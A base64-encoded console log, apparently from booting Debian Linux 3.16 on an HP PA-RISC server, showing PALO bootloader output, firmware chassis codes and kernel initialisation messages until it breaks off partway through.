ICBmZmZmZmZmMGYwZTBhYzAwICBDQ19DUFVfSU5UUklHVUVfTERCDQoNPENwdTA+IDM0MDAwODIx
MDBlMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDEgIENDX0JPT1RfQk9PVF9DT01QTEVURQ0KDXBhbG8g
aXBsIDEuOTUgcm9vdEBta2hwcGEzIFRodSBBcHIgMTcgMjA6MTU6MTcgVVRDIDIwMTQNClNraXBw
aW5nIGV4dGVuZGVkIHBhcnRpdGlvbiA2IC0gYmV5b25kIHJlYWNoIG9mIElQTA0KDQ0KUGFydGl0
aW9uIFN0YXJ0KE1CKSBFbmQoTUIpIElkIFR5cGUNCg0xICAgICAgICAgICAgICAgMiAgICAgIDM4
ICAgZjAgUGFsbw0KDTIgICAgICAgICAgICAgIDM5ICAgICAyNzYgICA4MyBleHQyDQoNNSAgICAg
ICAgICAgICAyNzggICA2NzQxNSAgIDgzIGV4dDINCg0NClBBTE8oRjApIHBhcnRpdGlvbiBjb250
YWluczoNCiAgICAwL3ZtbGludXg2NCAxMTkzMDI0OCgwKSBieXRlcyBAIDB4MTQwMDAwDQoNCklu
Zm9ybWF0aW9uOiBObyBjb25zb2xlIHNwZWNpZmllZCBvbiBrZXJuZWwgY29tbWFuZCBsaW5lLiBU
aGlzIGlzIG5vcm1hbC4NClBBTE8gd2lsbCBjaG9vc2UgdGhlIGNvbnNvbGUgY3VycmVudGx5IHVz
ZWQgYnkgZmlybXdhcmUgKHNlcmlhbCkuDQpDb21tYW5kIGxpbmUgZm9yIGtlcm5lbDogJ3Jvb3Q9
VVVJRD1hZDFjNzYyNi1iZWMyLTRiMzMtOTJmNy01MWIzZGUyNDJmYjAgSE9NRT0vIGNvbnNvbGU9
dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5lbD0yL3ZtbGludXgnDQpTZWxlY3RlZCBrZXJuZWw6
IC92bWxpbnV4IGZyb20gcGFydGl0aW9uIDINClNlbGVjdGVkIHJhbWRpc2s6IC9pbml0cmQuaW1n
IGZyb20gcGFydGl0aW9uIDINCkVMRjY0IGV4ZWN1dGFibGUNCkVudHJ5IDAwMTAwMDAwIGZpcnN0
IDAwMTAwMDAwIG4gMg0KU2VnbWVudCAwIGxvYWQgMDAxMDAwMDAgc2l6ZSAyMjg2NDggbWVkaWFw
dHIgMHgxMDAwDQpTZWdtZW50IDEgbG9hZCAwMDEzODAwMCBzaXplIDk0MjUwMjQgbWVkaWFwdHIg
MHgzOTAwMA0KTG9hZGluZyByYW1kaXNrIDE2OTMzODI1IGJ5dGVzIEAgM2VmYzgwMDAuLi4NCkJy
YW5jaGluZyB0byBrZXJuZWwgZW50cnkgcG9pbnQgMHgwMDEwMDAwMC4gIElmIHRoaXMgaXMgdGhl
IGxhc3QNCm1lc3NhZ2UgeW91IHNlZSwgeW91IG1heSBuZWVkIHRvIHN3aXRjaCB5b3VyIGNvbnNv
bGUuICBUaGlzIGlzDQphIGNvbW1vbiBzeW1wdG9tIC0tIHNlYXJjaCB0aGUgRkFRIGFuZCBtYWls
aW5nIGxpc3QgYXQgcGFyaXNjLWxpbnV4Lm9yZw0KDQpbICAgIDAuMDAwMDAwXSBJbml0aWFsaXpp
bmcgY2dyb3VwIHN1YnN5cyBjcHVzZXQNClsgICAgMC4wMDAwMDBdIEluaXRpYWxpemluZyBjZ3Jv
dXAgc3Vic3lzIGNwdQ0KWyAgICAwLjAwMDAwMF0gSW5pdGlhbGl6aW5nIGNncm91cCBzdWJzeXMg
Y3B1YWNjdA0KWyAgICAwLjAwMDAwMF0gTGludXggdmVyc2lvbiAzLjE2LjAtNC1wYXJpc2M2NC1z
bXAgKGRlYmlhbi1rZXJuZWxAbGlzdHMuZGViaWFuLm9yZykgKGdjYyB2ZXJzaW9uIDQuOC40IChH
Q0MpICkgIzEgU01QIERlYmlhbiAzLjE2LjctY2t0NC0zICgyMDE1LTAyLTAzKQ0KWyAgICAwLjAw
MDAwMF0gdW53aW5kX2luaXQ6IHN0YXJ0ID0gMHg0MDg3N2Q1OCwgZW5kID0gMHg0MDhiZGYyOCwg
ZW50cmllcyA9IDE3OTQ5DQpbICAgIDAuMDAwMDAwXSBGUFswXSBlbmFibGVkOiBSZXYgMSBNb2Rl
bCAyMA0KWyAgICAwLjAwMDAwMF0gVGhlIDY0LWJpdCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NClsg
ICAgMC4wMDAwMDBdIERlZmF1bHQgcGFnZSBzaXplIGlzIDRLQi4NClsgICAgMC4wMDAwMDBdIGJv
b3Rjb25zb2xlIFt0dHlCMF0gZW5hYmxlZA0KWyAgICAwLjAwMDAwMF0gSW5pdGlhbGl6ZWQgUERD
IENvbnNvbGUgZm9yIGRlYnVnZ2luZy4NClsgICAgMC4wMDAwMDBdIERldGVybWluaW5nIFBEQyBm
aXJtd2FyZSB0eXBlOiA2NCBiaXQgUEFULg0KWyAgICAwLjAwMDAwMF0gbW9kZWwgMDAwMDg4YjAg
MDAwMDA0OTEgMDAwMDAwMDAgMDAwMDAwMDIgNTZmYWM3NDA5OGMwNWZmZCAxMDAwMDBmMCAwMDAw
MDAwOCAwMDAwMDBiMiAwMDAwMDBiMg0KWyAgICAwLjAwMDAwMF0gdmVycyAgMDAwMDAzMDENClsg
ICAgMC4wMDAwMDBdIENQVUlEIHZlcnMgMjAgcmV2IDQgKDB4MDAwMDAyODQpDQpbICAgIDAuMDAw
MDAwXSBjYXBhYmlsaXRpZXMgMHgzNQ0KWyAgICAwLjAwMDAwMF0gbW9kZWwgOTAwMC83ODUvQzgw
MDANClsgICAgMC4wMDAwMDBdIHBhcmlzY19jYWNoZV9pbml0OiBPbmx5IGVxdWl2YWxlbnQgYWxp
YXNpbmcgc3VwcG9ydGVkIQ0KWyAgICAwLjAwMDAwMF0gTWVtb3J5IFJhbmdlczoNClsgICAgMC4w
MDAwMDBdICAwKSBTdGFydCAweDAwMDAwMDAwMDAwMDAwMDAgRW5kIDB4MDAwMDAwMDAzZmZmZmZm
ZiBTaXplICAgMTAyNCBNQg0KWyAgICAwLjAwMDAwMF0gIDEpIFN0YXJ0IDB4MDAwMDAwNDA0MDAw
MDAwMCBFbmQgMHgwMDAwMDA0MGZmZGZmZmZmIFNpemUgICAzMDcwIE1CDQpbICAgIDAuMDAwMDAw
XSBUb3RhbCBNZW1vcnk6IDQwOTQgTUINClsgICAgMC4wMDAwMDBdIGluaXRyZDogN2VmYzgwMDAt
N2ZmZWUzYzENClsgICAgMC4wMDAwMDBdIGluaXRyZDogcmVzZXJ2aW5nIDNlZmM4MDAwLTNmZmVl
M2MxIChtZW1fbWF4IGZmZTAwMDAwKQ0KWyAgICAwLjAwMDAwMF0gUEVSQ1BVOiBFbWJlZGRlZCAx
NCBwYWdlcy9jcHUgQDAwMDAwMDAwNDFmN2EwMDAgczI3MDcyIHI4MTkyIGQyMjA4MCB1NTczNDQN
ClsgICAgMC4wMDAwMDBdIFNNUDogYm9vdHN0cmFwIENQVSBJRCBpcyAwDQpbICAgIDAuMDAwMDAw
XSBCdWlsdCAyIHpvbmVsaXN0cyBpbiBab25lIG9yZGVyLCBtb2JpbGl0eSBncm91cGluZyBvbi4g
IFRvdGFsIHBhZ2VzOiAxMDMzNzM1DQpbICAgIDAuMDAwMDAwXSBLZXJuZWwgY29tbWFuZCBsaW5l
OiByb290PVVVSUQ9YWQxYzc2MjYtYmVjMi00YjMzLTkyZjctNTFiM2RlMjQyZmIwIEhPTUU9LyBj
b25zb2xlPXR0eVMwIFRFUk09dnQxMDIgcGFsb19rZXJuZWw9Mi92bWxpbnV4DQpbICAgIDAuMDAw
MDAwXSBQSUQgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChvcmRlcjogMywgMzI3NjggYnl0ZXMp
DQpbICAgIDAuMDAwMDAwXSBEZW50cnkgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA1MjQyODgg
KG9yZGVyOiAxMCwgNDE5NDMwNCBieXRlcykNClsgICAgMC4wMDAwMDBdIElub2RlLWNhY2hlIGhh
c2ggdGFibGUgZW50cmllczogMjYyMTQ0IChvcmRlcjogOSwgMjA5NzE1MiBieXRlcykNClsgICAg
MC4wMDAwMDBdIFNvcnRpbmcgX19leF90YWJsZS4uLg0KWyAgICAwLjAwMDAwMF0gTWVtb3J5OiA0
MDkzODc2Sy80MTkyMjU2SyBhdmFpbGFibGUgKDU1MTJLIGtlcm5lbCBjb2RlLCAxODE3SyByd2Rh
dGEsIDEwOTFLIHJvZGF0YSwgMzY4SyBpbml0LCA2MzZLIGJzcywgOTgzODBLIHJlc2VydmVkKQ0K
WyAgICAwLjAwMDAwMF0gdmlydHVhbCBrZXJuZWwgbWVtb3J5IGxheW91dDoNCiAgICAwLjAwMDAw
MF0gICAgIHZtYWxsb2MgOiAweDAwMDAwMDAwMDAwMDgwMDAgLSAweDAwMDAwMDAwM2YwMDAwMDAg
ICAoMTAwNyBNQikNCiAgICAwLjAwMDAwMF0gICAgIG1lbW9yeSAgOiAweDAwMDAwMDAwNDAwMDAw
MDAgLSAweDAwMDAwMDQxM2ZlMDAwMDAgICAoMjY2MjM4IE1CKQ0KICAgIDAuMDAwMDAwXSAgICAg
ICAuaW5pdCA6IDB4MDAwMDAwMDA0MDEwMDAwMCAtIDB4MDAwMDAwMDA0MDE1YzAwMCAgICggMzY4
IGtCKQ0KICAgIDAuMDAwMDAwXSAgICAgICAuZGF0YSA6IDB4MDAwMDAwMDA0MDZiZTAwMCAtIDB4
MDAwMDAwMDA0MDk5NTQ3MCAgICgyOTA5IGtCKQ0KICAgIDAuMDAwMDAwXSAgICAgICAudGV4dCA6
IDB4MDAwMDAwMDA0MDE1YzAwMCAtIDB4MDAwMDAwMDA0MDZiZTAwMCAgICg1NTEyIGtCKQ0KWyAg
ICAwLjAwMDAwMF0gSGllcmFyY2hpY2FsIFJDVSBpbXBsZW1lbnRhdGlvbi4NClsgICAgMC4wMDAw
MDBdIAlDT05GSUdfUkNVX0ZBTk9VVCBzZXQgdG8gbm9uLWRlZmF1bHQgdmFsdWUgb2YgMzINClsg
ICAgMC4wMDAwMDBdIE5SX0lSUVM6MTI4DQpbICAgIDAuMDAwMDAwXSBDb25zb2xlOiBjb2xvdXIg
ZHVtbXkgZGV2aWNlIDE2MHg2NA0KWyAgICAwLjA2MDAwMF0gQ2FsaWJyYXRpbmcgZGVsYXkgbG9v
cC4uLiAxOTg4LjYwIEJvZ29NSVBTIChscGo9Mzk3NzIxNikNClsgICAgMC4xNTYwMDBdIHBpZF9t
YXg6IGRlZmF1bHQ6IDMyNzY4IG1pbmltdW06IDMwMQ0KWyAgICAwLjIxNjAwMF0gU2VjdXJpdHkg
RnJhbWV3b3JrIGluaXRpYWxpemVkDQpbICAgIDAuMjY4MDAwXSBBcHBBcm1vcjogQXBwQXJtb3Ig
ZGlzYWJsZWQgYnkgYm9vdCB0aW1lIHBhcmFtZXRlcg0KWyAgICAwLjM0ODAwMF0gWWFtYTogZGlz
YWJsZWQgYnkgZGVmYXVsdDsgZW5hYmxlIHdpdGggc3lzY3RsIGtlcm5lbC55YW1hLioNClsgICAg
MC40MzYwMDBdIE1vdW50LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogODE5MiAob3JkZXI6IDQs
IDY1NTM2IGJ5dGVzKQ0KWyAgICAwLjUyNDAwMF0gTW91bnRwb2ludC1jYWNoZSBoYXNoIHRhYmxl
IGVudHJpZXM6IDgxOTIgKG9yZGVyOiA0LCA2NTUzNiBieXRlcykNClsgICAgMC42MTYwMDBdIElu
aXRpYWxpemluZyBjZ3JvdXAgc3Vic3lzIG1lbW9yeQ0KWyAgICAwLjY3NjAwMF0gSW5pdGlhbGl6
aW5nIGNncm91cCBzdWJzeXMgZGV2aWNlcw0KWyAgICAwLjczMjAwMF0gSW5pdGlhbGl6aW5nIGNn
cm91cCBzdWJzeXMgZnJlZXplcg0KWyAgICAwLjc5MjAwMF0gSW5pdGlhbGl6aW5nIGNncm91cCBz
dWJzeXMgbmV0X2Nscw0KWyAgICAwLjg1MjAwMF0gSW5pdGlhbGl6aW5nIGNncm91cCBzdWJzeXMg
YmxraW8NClsgICAgMC45MDgwMDBdIEluaXRpYWxpemluZyBjZ3JvdXAgc3Vic3lzIHBlcmZfZXZl
bnQNClsgICAgMC45NjgwMDBdIEluaXRpYWxpemluZyBjZ3JvdXAgc3Vic3lzIG5ldF9wcmlvDQpb
ICAgIDEuMDMyMDAwXSBCcm91Z2h0IHVwIDEgQ1BVcw0KWyAgICAxLjA2ODAwMF0gZGV2dG1wZnM6
IGluaXRpYWxpemVkDQpbICAgIDEuMTE2MDAwXSBORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFt
aWx5IDE2DQpbICAgIDEuMTc2MDAwXSBFSVNBIGJ1cyByZWdpc3RlcmVkDQpbICAgIDEuMjE2MDAw
XSBTZWFyY2hpbmcgZm9yIGRldmljZXMuLi4NClsgICAgMS4zNzYwMDBdIEZvdW5kIGRldmljZXM6
DQpbICAgIDEuNDEyMDAwXSAxLiBDcmVzdG9uZSBQZWFrIEZhc3Q/IGF0IDB4ZmZmZmZmZmZmZTc4
MDAwMCBbMTI4XSB7IDAsIDB4MCwgMHg4OGIsIDB4MDAwMDQgfQ0KWyAgICAxLjUyMDAwMF0gMi4g
Q3Jlc3RvbmUgUGVhayBGYXN0PyBhdCAweGZmZmZmZmZmZmU3ODEwMDAgWzEyOV0geyAwLCAweDAs
IDB4ODhiLCAweDAwMDA0IH0NClsgICAgMS42MjgwMDBdIDMuIENyZXN0b25lIFBlYWsgRmFzdD8g
YXQgMHhmZmZmZmZmZmZlNzk4MDAwIFsxNTJdIHsgMCwgMHgwLCAweDg4YiwgMHgwMDAwNCB9DQpb
ICAgIDEuNzM2MDAwXSA0LiBDcmVzdG9uZSBQZWFrIEZhc3Q/IGF0IDB4ZmZmZmZmZmZmZTc5OTAw
MCBbMTUzXSB7IDAsIDB4MCwgMHg4OGIsIDB4MDAwMDQgfQ0KWyAgICAxLjg0NDAwMF0gNS4gTWVt
b3J5IGF0IDB4ZmZmZmZmZmZmZWQwODAwMCBbOF0geyAxLCAweDAsIDB4MGI2LCAweDAwMDA5IH0N
ClsgICAgMS45MzYwMDBdIDYuIFBsdXRvIEJDIE1jS2lubGV5IFBvcnQgYXQgMHhmZmZmZmZmZmZl
ZDAwMDAwIFswXSB7IDEyLCAweDAsIDB4ODgwLCAweDAwMDBjIH0NClsgICAgMi4wNDQwMDBdIDcu
IE1lcmN1cnkgUENJIEJyaWRnZSBhdCAweGZmZmZmZmZmZmVkMjAwMDAgWzAvMF0geyAxMywgMHgw
LCAweDc4MywgMHgwMDAwYSB9DQpbICAgIDIuMTUyMDAwXSA4LiBNZXJjdXJ5IFBDSSBCcmlkZ2Ug
YXQgMHhmZmZmZmZmZmZlZDI0MDAwIFswLzJdIHsgMTMsIDB4MCwgMHg3ODMsIDB4MDAwMGEgfQ0K
WyAgICAyLjI2MDAwMF0gOS4gTWVyY3VyeSBQQ0kgQnJpZGdlIGF0IDB4ZmZmZmZmZmZmZWQyNjAw
MCBbMC8zXSB7IDEzLCAweDAsIDB4NzgzLCAweDAwMDBhIH0NClsgICAgMi4zNjgwMDBdIDEwLiBR
dWlja3NpbHZlciBBR1AgQnJpZGdlIGF0IDB4ZmZmZmZmZmZmZWQyODAwMCBbMC80XSB7IDEzLCAw
eDAsIDB4Nzg0LCAweDAwMDBhIH0NClsgICAgMi40ODQwMDBdIDExLiBCTUMgSVBNSSBNZ210IEN0
bHIgYXQgMHhmZmZmZmZmMGYwNWIwMDAwIFsxNl0geyAxNSwgMHgwLCAweDAwNCwgMHgwMDBjMCB9
DQpbICAgIDIuNTkyMDAwXSAxMi4gQ3Jlc3RvbmUgUGVhayBGYXN0PyBDb3JlIFJTLTIzMiBhdCAw
eGZmZmZmZmYwZjA1ZTAwMDAgWzE3XSB7IDEwLCAweDAsIDB4MDc3LCAweDAwMGFkIH0NClsgICAg
Mi43MTIwMDBdIDEzLiBDcmVzdG9uZSBQZWFrIEZhc3Q/IENvcmUgUlMtMjMyIGF0IDB4ZmZmZmZm
ZjBmMDVlMjAwMCBbMThdIHsgMTAsIDB4MCwgMHgwNzcsIDB4MDAwYWQgfQ0KWyAgICAyLjgzNjAw
MF0gRW5hYmxpbmcgUERDX1BBVCBjaGFzc2lzIGNvZGVzIHN1cHBvcnQgdjAuMDUNCjxDcHUwPiAz
ODAwMGM2NDAwZTAwMDAwICBhMGUwMDgxMDExMDBjMDAwICBDQ19QQVRfRU5DT0RFRF9GSUVMRF9N
QUpPUl9GV0RfUFJPRw0KDTxDcHUwPiAzNjAwMGM2YTAwZTAwMDAwICAwMDAwMDAwMDAwMDAwNDIw
ICBDQ19QQVRfREFUQV9GSUVMRF9NQUpPUl9GV0RfUFJPRw0KDVsgICAgMy43NDAwMDBdIFJlbGVh
c2luZyBjcHUgMSBub3csIGhwYT1mZmZmZmZmZmZlNzgxMDAwDQo8Q3B1MT4gMDAwMDA5OTEwMWUw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgQ0NfQk9PVF9PU19SRU5ERVpWT1VTDQoNPENwdTE+IDAx
MDAxNDI5MDFlMDAwMDAgIGZmZmZmZmYwZjBlMGFjMDAgIENDX0NQVV9JTlRSSUdVRV9MREINCg1b
ICAgIDQuMTY4MDAwXSBGUFsxXSBlbmFibGVkOiBSZXYgMSBNb2RlbCAyMA0KWyAgICA0LjE3NjAw
MF0gUmVsZWFzaW5nIGNwdSAyIG5vdywgaHBhPWZmZmZmZmZmZmU3OTgwMDANCjxDcHUyPiAwMDAw
MDk5MTAyZTAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICBDQ19CT09UX09TX1JFTkRFWlZPVVMNCg08
Q3B1Mj4gMDEwMDE0MjkwMmUwMDAwMCAgZmZmZmZmZjBmMGUwYWMwMCAgQ0NfQ1BVX0lOVFJJR1VF
X0xEQg0KDVsgICAgNC42NzIwMDBdIEZQWzJdIGVuYWJsZWQ6IFJldiAxIE1vZGVsIDIwDQpbICAg
IDQuNjgwMDAwXSBSZWxlYXNpbmcgY3B1IDMgbm93LCBocGE9ZmZmZmZmZmZmZTc5OTAwMA0KPENw
dTM+IDAwMDAwOTkxMDNlMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIENDX0JPT1RfT1NfUkVOREVa
Vk9VUw0KDTxDcHUzPiAwMTAwMTQyOTAzZTAwMDAwICBmZmZmZmZmMGYwZTBhYzAwICBDQ19DUFVf
SU5UUklHVUVfTERCDQoNWyAgICA1LjE3NjAwMF0gRlBbM10gZW5hYmxlZDogUmV2IDEgTW9kZWwg
MjANClsgICAgNS4xODAwMDBdIENQVShzKTogNCBvdXQgb2YgNCBQQTg4MDAgKE1ha28pIGF0IDEw
MDAuMDAwMDAwIE1IeiBvbmxpbmUNClsgICAgNS4zMjQwMDBdIFNldHRpbmcgY2FjaGUgZmx1c2gg
dGhyZXNob2xkIHRvIDIwMDAwMDAgKDQgQ1BVcyBvbmxpbmUpDQpbICAgIDUuNTUyMDAwXSBTQkEg
Zm91bmQgUGx1dG8gMi4zIGF0IDB4ZmZmZmZmZmZmZWQwMDAwMA0KWyAgICA1LjcyNDAwMF0gc2Jh
X2lvY19pbml0X3BsdXRvOiByZXNlcnZpbmcgNTEyTWIgb2YgSU9WQSBzcGFjZSBmb3IgYWdwZ2Fy
dA0KWyAgICA1LjgzNjAwMF0gTWVyY3VyeSB2ZXJzaW9uIFRSMy4yICgweDMyKSBmb3VuZCBhdCAw
eGZmZmZmZmZmZmVkMjAwMDANClsgICAgNS45NTIwMDBdIExCQTogbG1taW9fc3BhY2UgWzB4ZmZm
ZmZmZmY4MDAwMDAwMC0weGZmZmZmZmZmOWZmZmZmZmZdIC0gbmV3DQpbICAgIDYuMDY4MDAwXSBM
QkEgMDowOiBQQ0kgaG9zdCBicmlkZ2UgdG8gYnVzIDAwMDA6MDANClsgICAgNi4xMzIwMDBdIHBj
aV9idXMgMDAwMDowMDogcm9vdCBidXMgcmVzb3VyY2UgW2lvICAweDAwMDAtMHhmZmZmXQ0KWyAg
ICA2LjIxNjAwMF0gcGNpX2J1cyAwMDAwOjAwOiByb290IGJ1cyByZXNvdXJjZSBbbWVtIDB4ZmZm
ZmZmZmY4MDAwMDAwMC0weGZmZmZmZmZmOWZmZmZmZmZdIChidXMgYWRkcmVzcyBbMHg4MDAwMDAw
MC0weDlmZmZmZmZmXSkNClsgICAgNi4zNjgwMDBdIHBjaV9idXMgMDAwMDowMDogcm9vdCBidXMg
cmVzb3VyY2UgW21lbSAweGZmZmZmZjAwMDAwMDAwMDAtMHhmZmZmZmYwZmZmZmZmZmZmXQ0KWyAg
ICA2LjQ3NjAwMF0gcGNpX2J1cyAwMDAwOjAwOiByb290IGJ1cyByZXNvdXJjZSBbYnVzIDAwLTA3
XQ0KWyAgICA2LjU2ODAwMF0gTWVyY3VyeSB2ZXJzaW9uIFRSMy4yICgweDMyKSBmb3VuZCBhdCAw
eGZmZmZmZmZmZmVkMjQwMDANClsgICAgNi43MTIwMDBdIExCQSAwOjI6IFBDSSBob3N0IGJyaWRn
ZSB0byBidXMgMDAwMDo0MA0KWyAgICA2Ljc4MDAwMF0gcGNpX2J1cyAwMDAwOjQwOiByb290IGJ1
cyByZXNvdXJjZSBbaW8gIDB4MTAwMDAtMHgxZmZmZl0gKGJ1cyBhZGRyZXNzIFsweDAwMDAtMHhm
ZmZmXSkNClsgICAgNi44OTYwMDBdIHBjaV9idXMgMDAwMDo0MDogcm9vdCBidXMgcmVzb3VyY2Ug
W21lbSAweGZmZmZmZmZmYTAwMDAwMDAtMHhmZmZmZmZmZmFmZmZmZmZmXSAoYnVzIGFkZHJlc3Mg
WzB4YTAwMDAwMDAtMHhhZmZmZmZmZl0pDQpbICAgIDcuMDQ4MDAwXSBwY2lfYnVzIDAwMDA6NDA6
IHJvb3QgYnVzIHJlc291cmNlIFttZW0gMHhmZmZmZmYyMDAwMDAwMDAwLTB4ZmZmZmZmMmZmZmZm
ZmZmZl0NClsgICAgNy4xNjAwMDBdIHBjaV9idXMgMDAwMDo0MDogcm9vdCBidXMgcmVzb3VyY2Ug
W2J1cyA0MC00N10NClsgICAgNy4yNTIwMDBdIE1lcmN1cnkgdmVyc2lvbiBUUjMuMiAoMHgzMikg
Zm91bmQgYXQgMHhmZmZmZmZmZmZlZDI2MDAwDQpbICAgIDcuMzk2MDAwXSBMQkEgMDozOiBQQ0kg
aG9zdCBicmlkZ2UgdG8gYnVzIDAwMDA6NjANClsgICAgNy40NjAwMDBdIHBjaV9idXMgMDAwMDo2
MDogcm9vdCBidXMgcmVzb3VyY2UgW2lvICAweDIwMDAwLTB4MmZmZmZdIChidXMgYWRkcmVzcyBb
MHgwMDAwLTB4ZmZmZl0pDQpbICAgIDcuNTgwMDAwXSBwY2lfYnVzIDAwMDA6NjA6IHJvb3QgYnVz
IHJlc291cmNlIFttZW0gMHhmZmZmZmZmZmIwMDAwMDAwLTB4ZmZmZmZmZmZiZmZmZmZmZl0gKGJ1
cyBhZGRyZXNzIFsweGIwMDAwMDAwLTB4YmZmZmZmZmZdKQ0KWyAgICA3LjczMjAwMF0gcGNpX2J1
cyAwMDAwOjYwOiByb290IGJ1cyByZXNvdXJjZSBbbWVtIDB4ZmZmZmZmMzAwMDAwMDAwMC0weGZm
ZmZmZjNmZmZmZmZmZmZdDQpbICAgIDcuODQwMDAwXSBwY2lfYnVzIDAwMDA6NjA6IHJvb3QgYnVz
IHJlc291cmNlIFtidXMgNjAtNjddDQpbICAgIDcuOTM2MDAwXSBRdWlja3NpbHZlciB2ZXJzaW9u
IFRSMS4wICgweDEwKSBmb3VuZCBhdCAweGZmZmZmZmZmZmVkMjgwMDANClsgICAgOC4wNTYwMDBd
IExCQTogbG1taW9fc3BhY2UgWzB4ZmZmZmZmZmZjMDAwMDAwMC0weGZmZmZmZmZmZGZmZmZmZmZd
IC0gbmV3DQpbICAgIDguMTc2MDAwXSBMQkEgMDo0OiBQQ0kgaG9zdCBicmlkZ2UgdG8gYnVzIDAw
MDA6ODANClsgICAgOC4yNDAwMDBdIHBjaV9idXMgMDAwMDo4MDogcm9vdCBidXMgcmVzb3VyY2Ug
W2lvICAweDMwMDAwLTB4M2ZmZmZdIChidXMgYWRkcmVzcyBbMHgwMDAwLTB4ZmZmZl0pDQpbICAg
IDguMzU2MDAwXSBwY2lfYnVzIDAwMDA6ODA6IHJvb3QgYnVzIHJlc291cmNlIFttZW0gMHhmZmZm
ZmZmZmMwMDAwMDAwLTB4ZmZmZmZmZmZkZmZmZmZmZl0gKGJ1cyBhZGRyZXNzIFsweGMwMDAwMDAw
LTB4ZGZmZmZmZmZdKQ0KWyAgICA4LjUxMjAwMF0gcGNpX2J1cyAwMDAwOjgwOiByb290IGJ1cyBy
ZXNvdXJjZSBbbWVtIDB4ZmZmZmZmNDAwMDAwMDAwMC0weGZmZmZmZjRmZmZmZmZmZmZdDQpbICAg
IDguNjIwMDAwXSBwY2lfYnVzIDAwMDA6ODA6IHJvb3QgYnVzIHJlc291cmNlIFtidXMgODAtODdd
DQo8Q3B1MT4gMDMwMDEwODIwMWUwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgQ0NfUFJPQ1NfRU5U
UllfSU4NCg08Q3B1MT4gMDMwMDAzMDcwMWUwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgQ0NfU1lT
VEVNX1NUQVRFX1JVTk5JTkdfT0sNCg1bICAgIDkuMTcyMDAwXSBwb3dlcnN3OiBTb2Z0IHBvd2Vy
IHN3aXRjaCBhdCAweGZmZmZmZmYwZjA0MmUyNzggZW5hYmxlZC4NClsgICAgOS4yNzIwMDBdIHZn
YWFyYjogc2V0dGluZyBhcyBib290IGRldmljZTogUENJOjAwMDA6ODA6MDAuMA0KWyAgICA5LjI3
MjAwMF0gdmdhYXJiOiBkZXZpY2UgYWRkZWQ6IFBDSTowMDAwOjgwOjAwLjAsZGVjb2Rlcz1pbytt
ZW0sb3ducz1pbyttZW0sbG9ja3M9bm9uZQ0KWyAgICA5LjQ1MjAwMF0gdmdhYXJiOiBsb2FkZWQN
ClsgICAgOS40ODgwMDBdIHZnYWFyYjogYnJpZGdlIGNvbnRyb2wgcG9zc2libGUgMDAwMDo4MDow
MC4wDQpbICAgIDkuNTY0MDAwXSBORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDINClsg
ICAgOS42MjAwMDBdIFRDUCBlc3RhYmxpc2hlZCBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChv
cmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0KWyAgICA5LjcxNjAwMF0gVENQIGJpbmQgaGFzaCB0YWJs
ZSBlbnRyaWVzOiAzMjc2OCAob3JkZXI6IDcsIDUyNDI4OCBieXRlcykNClsgICAgOS44MDQwMDBd
IFRDUDogSGFzaCB0YWJsZXMgY29uZmlndXJlZCAoZXN0YWJsaXNoZWQgMzI3NjggYmluZCAzMjc2
OCkNClsgICAgOS44OTIwMDBdIFRDUDogcmVubyByZWdpc3RlcmVkDQpbICAgIDkuOTMyMDAwXSBV
RFAgaGFzaCB0YWJsZSBlbnRyaWVzOiAyMDQ4IChvcmRlcjogNCwgNjU1MzYgYnl0ZXMpDQpbICAg
MTAuMDEyMDAwXSBVRFAtTGl0ZSBoYXNoIHRhYmxlIGVudHJpZXM6IDIwNDggKG9yZGVyOiA0LCA2
NTUzNiBieXRlcykNClsgICAxMC4xMDAwMDBdIE5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1p
bHkgMQ0KWyAgIDEwLjIyMDAwMF0gVW5wYWNraW5nIGluaXRyYW1mcy4uLg0KWyAgIDExLjExMjAw
MF0gRnJlZWluZyBpbml0cmQgbWVtb3J5OiAxNjUzNksgKDAwMDAwMDAwN2VmYzgwMDAgLSAwMDAw
MDAwMDdmZmVlMDAwKQ0KWyAgIDExLjIxMjAwMF0gQ2hhc3NpcyB3YXJuaW5ncyBub3Qgc3VwcG9y
dGVkLg0KWyAgIDExLjI2ODAwMF0gUGVyZm9ybWFuY2UgbW9uaXRvcmluZyBjb3VudGVycyBlbmFi
bGVkIGZvciBDcmVzdG9uZSBQZWFrIEZhc3Q/DQpbICAgMTEuMzYwMDAwXSBmdXRleCBoYXNoIHRh
YmxlIGVudHJpZXM6IDIwNDggKG9yZGVyOiA1LCAxMzEwNzIgYnl0ZXMpDQpbICAgMTEuNDQ0MDAw
XSBhdWRpdDogaW5pdGlhbGl6aW5nIG5ldGxpbmsgc3Vic3lzIChkaXNhYmxlZCkNClsgICAxMS41
MTIwMDBdIGF1ZGl0OiB0eXBlPTIwMDAgYXVkaXQoMTQ1OTQ0NTYxMC41MTI6MSk6IGluaXRpYWxp
emVkDQpbICAgMTEuNTk2MDAwXSB6YnVkOiBsb2FkZWQNClsgICAxMS42MjgwMDBdIFZGUzogRGlz
ayBxdW90YXMgZHF1b3RfNi41LjINClsgICAxMS42ODAwMDBdIERxdW90LWNhY2hlIGhhc2ggdGFi
bGUgZW50cmllczogNTEyIChvcmRlciAwLCA0MDk2IGJ5dGVzKQ0KWyAgIDExLjc2NDAwMF0gbXNn
bW5pIGhhcyBiZWVuIHNldCB0byA4MDI4DQpbICAgMTEuODYwMDAwXSBhbGc6IE5vIHRlc3QgZm9y
IHN0ZHJuZyAoa3JuZykNClsgICAxMS45MTIwMDBdIEJsb2NrIGxheWVyIFNDU0kgZ2VuZXJpYyAo
YnNnKSBkcml2ZXIgdmVyc2lvbiAwLjQgbG9hZGVkIChtYWpvciAyNTIpDQpbICAgMTIuMDEyMDAw
